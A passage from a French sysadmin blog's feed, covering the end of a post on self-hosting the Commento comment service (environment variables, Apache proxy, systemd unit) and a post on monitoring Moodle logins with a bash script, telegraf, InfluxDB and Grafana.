&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_POSTGRES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;localhost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5432&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;sslmode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;disable&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_CDN_PREFIX&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;COMMENTO_ORIGIN&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_SMTP_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_SMTP_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_SMTP_FROM_ADDRESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_FORBID_NEW_OWNERS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;true&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mise en place d&amp;rsquo;un virtual host pour que le service réponde à l&amp;rsquo;adresse &lt;code&gt;commento.example.org&lt;/code&gt;. (J&amp;rsquo;utilise &lt;code&gt;dehydrated&lt;/code&gt; pour la gestion du certificat SSL avec &lt;em&gt;LetsEncrypt&lt;/em&gt;.)&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;VirtualHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;*:80\&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://commento.example.org
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerAdmin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;webmaster@example.org

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyRequests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Off&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyPass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8081/
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyPassReverse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;http://commento.example.org:8081/

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# Dehydrated&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;Alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/.well-known/acme-challenge&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;var&lt;/span&gt;&lt;span class="sx"&gt;/lib/dehydrated/acme-challenges&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/lib/dehydrated/acme-challenges&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;AllowOverride&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;IfModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;mod_authz_core.c&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nb"&gt;Require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;granted
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ErrorLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org-error.log
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;CustomLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org-access.log&lt;span class="w"&gt; &lt;/span&gt;combined
&lt;span class="nt"&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;VirtualHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;*:443&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;https://commento.example.org
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ServerAdmin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;webmaster@example.org

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyRequests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Off&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyPass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8081/
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ProxyPassReverse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;https://commento.example.org:8081/

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;SSLEngine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;SSLCertificateFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sx"&gt;/var/lib/dehydrated/certs/&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org/fullchain.pem
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;SSLCertificateKeyFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sx"&gt;/var/lib/dehydrated/certs/&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org/privkey.pem

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# Dehydrated&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;Alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/.well-known/acme-challenge&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;var&lt;/span&gt;&lt;span class="sx"&gt;/lib/dehydrated/acme-challenges&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/lib/dehydrated/acme-challenges&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;AllowOverride&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;IfModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;mod_authz_core.c&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nb"&gt;Require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;granted
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;LogLevel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;warn&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ErrorLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org-error.log
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;CustomLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;commento&lt;/span&gt;.example.org-access.log&lt;span class="w"&gt; &lt;/span&gt;combined
&lt;span class="nt"&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;# vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pour terminer, ce serait bien que &lt;code&gt;systemd&lt;/code&gt; se charge du service. &lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# cat /lib/systemd/system/commento.service&lt;/span&gt;

&lt;span class="k"&gt;[Unit]&lt;/span&gt;
&lt;span class="na"&gt;Description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Commento daemon service&lt;/span&gt;
&lt;span class="na"&gt;After&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;

&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;commento&lt;/span&gt;
&lt;span class="na"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;forking&lt;/span&gt;
&lt;span class="na"&gt;WorkingDirectory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/tmp&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/commento.sh&lt;/span&gt;

&lt;span class="k"&gt;[Install]&lt;/span&gt;
&lt;span class="na"&gt;WantedBy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Et tout roule. Vous pouvez laisser un commentaire. Normalement ;-)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo perso. Hier une grue et un arc-en-ciel devant la maison.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Choisis un &lt;a href="https://disqus.com/by/meenuspeenus/comments/"&gt;un profil au hasard&lt;/a&gt; et observe. On peut voir les sites sur lesquels le profil commente régulièrement et ce qu&amp;rsquo;il y dit.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;En fait, je désarchive dans &lt;code&gt;/opt/commento-1.8.0&lt;/code&gt; et je fais un lien soft &lt;code&gt;commento&lt;/code&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Monitoring Moodle : script pour telegraf et dashboard pour Grafana</title><link href="http://blog.namok.be/2020-06-07-monitoring-moodle-script-telegraf-et-dashboard-pour-grafana.html" rel="alternate"/><published>2020-06-07T00:00:00+02:00</published><updated>2020-06-07T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-06-07:/2020-06-07-monitoring-moodle-script-telegraf-et-dashboard-pour-grafana.html</id><summary type="html">Monitoring Moodle : script pour telegraf et dashboard pour Grafana</summary><content type="html">&lt;p&gt;&lt;img alt="xiaolong-wong-9gpERFdyDW4-unsplash-1200x.jpg, juin 2020" src="/images/xiaolong-wong-9gpERFdyDW4-unsplash-1200x.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Pour monitorer la machine et le service de &lt;em&gt;elearning&lt;/em&gt; &lt;strong&gt;Moodle&lt;/strong&gt;, il existe moult manières de faire. L&amp;rsquo;une d&amp;rsquo;entre elles est d&amp;rsquo;utiliser la pile &lt;strong&gt;telegraf-InfluxDB-Grafana&lt;/strong&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;telegraf&lt;/em&gt; pour la récolte d&amp;rsquo;informations sur la machine faisant tourner &lt;em&gt;moodle&lt;/em&gt; ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;InfluxDB&lt;/em&gt; pour stocker ses informations et ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Grafana&lt;/em&gt; pour l&amp;rsquo;aspect visuel et les beaux graphiques.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Firefox_Screenshot_2020-06-07T08-56-27.765Z.png, juin 2020" src="/images/Firefox_Screenshot_2020-06-07T08-56-27.765Z.png" title="Firefox_Screenshot_2020-06-07T08-56-27.765Z.png, juin 2020"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Firefox_Screenshot_2020-06-07T09-01-08.267Z.png, juin 2020" src="https://blog.namok.be/public/images/divers/2020/Firefox_Screenshot_2020-06-07T09-01-08.267Z.png" title="Firefox_Screenshot_2020-06-07T09-01-08.267Z.png, juin 2020"&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;objet de cet article est &lt;em&gt;l&amp;rsquo;affichage du nombre d&amp;rsquo;utilisateurs et d&amp;rsquo;utilisatrices connectées&lt;/em&gt; à la plateforme et, en cadeau, le &lt;em&gt;dashboard&lt;/em&gt; que j&amp;rsquo;utilise pour &lt;em&gt;Moodle / PostgreSQL&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Aller chercher le nombre d&amp;rsquo;utilisateurs et utilisatrices connectées et remplir la BD&lt;/h3&gt;
&lt;p&gt;À ma connaissance, il n&amp;rsquo;y a pas de moyen d&amp;rsquo;obtenir le nombre de personnes connectées au temps &lt;em&gt;t&lt;/em&gt; mais bien entre le temps &lt;em&gt;t1&lt;/em&gt; et &lt;em&gt;t2&lt;/em&gt;. Comme je n&amp;rsquo;ai pas trouvé évident d&amp;rsquo;utiliser l&amp;rsquo;API pour ce faire, suivant &lt;a href="https://moodle.org/mod/forum/discuss.php?d=404772"&gt;un conseil sur le forum Moodle&lt;/a&gt;, j&amp;rsquo;ai choisi d&amp;rsquo;aller chercher l&amp;rsquo;info dans la base de données (BD).&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est dans la table &lt;code&gt;mdl_user&lt;/code&gt; que se trouvent les informations de connections. Il suffit de compter les personnes qui se sont connectées « avant maintenant » et « après maintenant moins un peu de temps ».&lt;/p&gt;
&lt;p&gt;Un script &lt;code&gt;bash&lt;/code&gt; pourrait ressembler à :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;moodleusers.sh
&lt;span class="c1"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nv"&gt;timestamp_now&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="w"&gt; &lt;/span&gt;--utc&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="s2"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;timestamp_start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="nv"&gt;$timestamp_now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;

&lt;span class="nv"&gt;QUERY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SELECT COUNT(*) FROM mdl_user &lt;/span&gt;
&lt;span class="s2"&gt;    WHERE deleted=0 AND lastaccess &amp;gt; &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;timestamp_start&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &lt;/span&gt;
&lt;span class="s2"&gt;        AND lastaccess &amp;lt; &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;timestamp_now&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; ;&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;RESULT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;psql&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;moodle&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;QUERY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;RESULT_CUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$RESULT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;nUsersMoodle nUsersMoodle=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RESULT_CUT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;les &lt;em&gt;timestamps&lt;/em&gt; sont donnés en GMT ;&lt;/li&gt;
&lt;li&gt;le script affiche le résultat qui sera compréhensible par &lt;em&gt;InfluxDB&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;je ne suis pas parvenu à obtenir le résultat dans une seule variable (je ne suis pas assez bon avec &lt;em&gt;bash&lt;/em&gt;). j&amp;rsquo;ai donc fait &lt;em&gt;RESULT&lt;/em&gt; puis &lt;em&gt;RESULT_CUT&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est &lt;em&gt;telegraf&lt;/em&gt; qui va lancer le script. C&amp;rsquo;est donc l&amp;rsquo;utilisateur &lt;code&gt;telegraf&lt;/code&gt; qui devra avoir les droits de lecture dans la BD pour la table &lt;code&gt;mdl_user&lt;/code&gt;. Ce qui peut se faire comme suit :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# sudo -u postgres psql -d moodle&lt;/span&gt;

&lt;span class="nv"&gt;moodle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# create role telegraf&lt;/span&gt;
&lt;span class="nv"&gt;moodle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# alter role telegraf with login&lt;/span&gt;
&lt;span class="nv"&gt;moodle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# grant telegraf to moodle&lt;/span&gt;
&lt;span class="nv"&gt;moodle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# grant select on mdl_user to telegraf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Après vérification que le script est bien fonctionnel et que l&amp;rsquo;utilisateur &lt;code&gt;telegraf&lt;/code&gt; peut le lancer, il reste à l&amp;rsquo;ajouter à &lt;code&gt;telegraf&lt;/code&gt; comme suit :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# vim /etc/telegraf/telegraf.conf&lt;/span&gt;

&lt;span class="o"&gt;[[&lt;/span&gt;inputs.exec&lt;span class="o"&gt;]]&lt;/span&gt;
&lt;span class="c1"&gt;# ## Commands array&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;commands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/elsewhere/moodleusers.sh&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# ## Timeout for each command to complete.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;5s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;data_format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;influx&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;60s&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;demander à &lt;em&gt;telegraf&lt;/em&gt; de recharger son fichier de conf ;&lt;/li&gt;
&lt;li&gt;vérifier que tout fonctionne bien ;&lt;/li&gt;
&lt;li&gt;attendre un peu que la BD InfluxDB se remplisse.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Faire de beaux graphes&lt;/h3&gt;
&lt;p&gt;Il reste à récupérer cette information via &lt;em&gt;Grafana&lt;/em&gt; et l&amp;rsquo;inclure dans son &lt;em&gt;dashboard&lt;/em&gt;. J&amp;rsquo;en ai profité pour proposer &lt;a href="https://grafana.com/grafana/dashboards/12418"&gt;un dashboard Moodle with postgres&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous verrons à l&amp;rsquo;usage, s&amp;rsquo;il est fonctionnel.&lt;/p&gt;
&lt;p&gt;Je suis preneur de tous vos retours et corrections. &lt;em&gt;Enjoy !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
